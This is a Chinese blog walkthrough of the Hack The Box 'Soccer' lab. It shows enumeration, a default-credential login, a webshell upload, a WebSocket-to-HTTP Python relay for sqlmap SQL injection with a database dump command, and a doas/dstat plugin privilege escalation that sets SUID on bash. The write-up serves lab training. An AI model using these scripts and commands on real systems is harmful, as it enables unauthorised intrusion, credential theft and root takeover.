HTB-Soccer

OverView

世界杯刚过,就来玩这个靶机了。玩这个机器的时候真的无语了,每隔几分钟有一个要重启机器,我扫描都没扫描又要重新来。体验不佳

主要考点:

  • nc mkdir 反弹 shell
  • WebSocket 注入
  • SUID 提权

Enumeration

namp

Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-23 21:05 CST
Nmap scan report for soccer.htb (10.10.11.194)
Host is up (0.33s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9091/tcp open  xmltec-xmlmail

Nmap done: 1 IP address (1 host up) scanned in 65.59 seconds

9091 端口是什么?不懂先放着

子域名似乎没有

Dir Enumation

然后就扫目录,去安装了个 dirsearch,速度还是蛮快的,但是怎么扫也没扫出来。然后看了一下题解就发现别人用了个 big.txt 扫出来了… 学到了,以后要用大字典

python3 dirsearch.py -u http://soccer.htb/ -w /usr/share/wordlists/dirb/big.txt

然后就扫出了 http://soccer.htb/tiny/

访问一下,重定向到了 http://soccer.htb/tiny/tinyfilemanager.php

image-20221224133012762

搜索了一下相关的漏洞,均无法利用,搜索了 tinyfilemanager 默认用户和密码,用 admin: admin@123 成功登录。

是一个文件管理系统,直接上传一句话木马

image-20221224133157420

连接成功,但是这台机器会定期删除文件,因此尝试一个反弹 shell,试了好多个, nc mkdir 的 Payload 终于成功了

image-20221224133246100

Another SubDomain

获得了 shell 但是是 www-data 用户,翻找文件也没有什么有用的,然后上传了 linpeas.sh,但是给出的 CVE 提权都没有用,不过注意到了这个内容:

image-20221224002434676

WebSocket SQL Inject

soc-player.soccer.htb 的域名网站目录是放在 root 下面的,如果能够拿下说不定有其他的收获。访问了这个子域名。有用户注册和用户登录功能,但是经过测试并没有注入的效果。但是访问 check 路由时源代码有个不常见的地方

image-20221224133745456

这不就用到了之前 nmap 发现的 9091 端口吗?但是是 WebSocket 访问

搜索了一下,这篇文章告诉我们 WebSocket 可以利用 SQL 注入和 XML 实体外带,还有 XSS 等 https://portswigger.net/web-security/websockets

image-20221224134153231

而且这里还可以用 GET 方式传入 ID

image-20221224133933197

这就要看看能不能 SQL 注入了。搜索了一下

https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html 我们可以借助给出的脚本跑 SQLMap。因为 SQLMap 是不支持 Socket 协议传输的,必须先转换为 Http 才行。而这里就是在自己本地上起一个 HTTP 服务访问 对应的 ws

修改一下脚本。主要改 WS 协议和 Payload data

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091"

def send_ws(payload):
    ws = create_connection(ws_server)
    # If the server returns a response on connect, use below line   
    #resp = ws.recv() # If server returns something like a token on connect you can find and extract from here

    # For our case, format the payload in JSON
    message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
    data = '{"id":"%s"}' % message

    ws.send(data)
    resp = ws.recv()
    ws.close()

    if resp:
        return resp
    else:
        return ''

def middleware_server(host_port,content_type="text/plain"):

    class CustomHandler(SimpleHTTPRequestHandler):
        def do_GET(self) -> None:
            self.send_response(200)
            try:
                payload = urlparse(self.path).query.split('=',1)[1]
            except IndexError:
                payload = False

            if payload:
                content = send_ws(payload)
            else:
                content = 'No parameters specified!'

            self.send_header("Content-type", content_type)
            self.end_headers()
            self.wfile.write(content.encode())
            return

    class _TCPServer(TCPServer):
        allow_reuse_address = True

    httpd = _TCPServer(host_port, CustomHandler)
    httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
    middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
    pass

然后就可以运行 SqlMap

$ sqlmap -u "http://localhost:8081/?id=1" --batch -dbs

image-20221224134634253

user.txt

$ sudo sqlmap -u "http://localhost:8081/?id=1" --batch --dump -C "username,password" -T "accounts" -D "soccer_db"

直接拖库,等了好久

image-20221224145242736

但是一时间也不知道这个用户名和密码是在网站哪里登录,但是之前 www-data 查看 /etc/passwd 的时候是看到有 player 用户的,那么就大胆猜测连接 ssh 吧。

居然成功了

image-20221224145634517

得到第一个 flag

root

接下来又到了绞尽脑汁的提权时间了

尝试 sudo -l 结果不行

image-20221224145814382

跑了一下 https://github.com/rebootuser/LinEnum.git

./LinEnum.sh -k nopass -r report -e /tmp/ -t

发现 SUID 的执行文件

image-20221224154607695

这个 doas 命令很奇怪啊

find / -name *doas* 2>/dev/null | grep conf

image-20221224155135092

看样子可以用 doas 执行 dstat 进行提权。

接下来看看 dstat 有什么可用的地方

查看 man 手册 https://linux.die.net/man/1/dstat

发现 dstat 可以加载插件,可以自己定义 py 文件并运行。但是 –battery 这些是什么意思

image-20221224163031149

然后又看到

–list 是可以查看存在的插件

image-20221224163100884

噢,这也就解释了上面的 什么 –fan

image-20221224163227487

也就是说定义个插件只需用 -- 的方式就可以加载

又看到插件定义格式和存放的目录

image-20221224163311017

尝试发现在 /usr/local/share/dstat 目录下可以写文件。写下一个 dstat_poc.py

print(1)

发现 POC 找到了

image-20221224163508767

看看 doas 命令怎么使用吧

image-20221224164016966

又跟进 doas 的 config 也就是说可以通过 doas -u root /usr/bin/dstat 以 root 权限执行 dstat

import os
os.system("ls /root").read()

image-20221224164350064

成功了。接下来如法炮制就可以读取 root.txt 了

看了大佬的做法:给的脚本是

import os
os.system('chmod +s /usr/bin/bash')

然后输入 bash -p 就可以得到 root 的 shell 了

咦,这个 -p 选项是什么意思?查了查 man 手册也没有直接的回答,倒是有一段比较含糊。大概意思是更新 shell 的用户权限吧

image-20221224165125755

End

玩靶机还是学到了很多。至于实战会不会遇到这种提权的情况,应该是不太会的。毕竟谁会没事弄出一个 doas 命令,然后还给它配置能够以 root 身份执行文件呢?

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇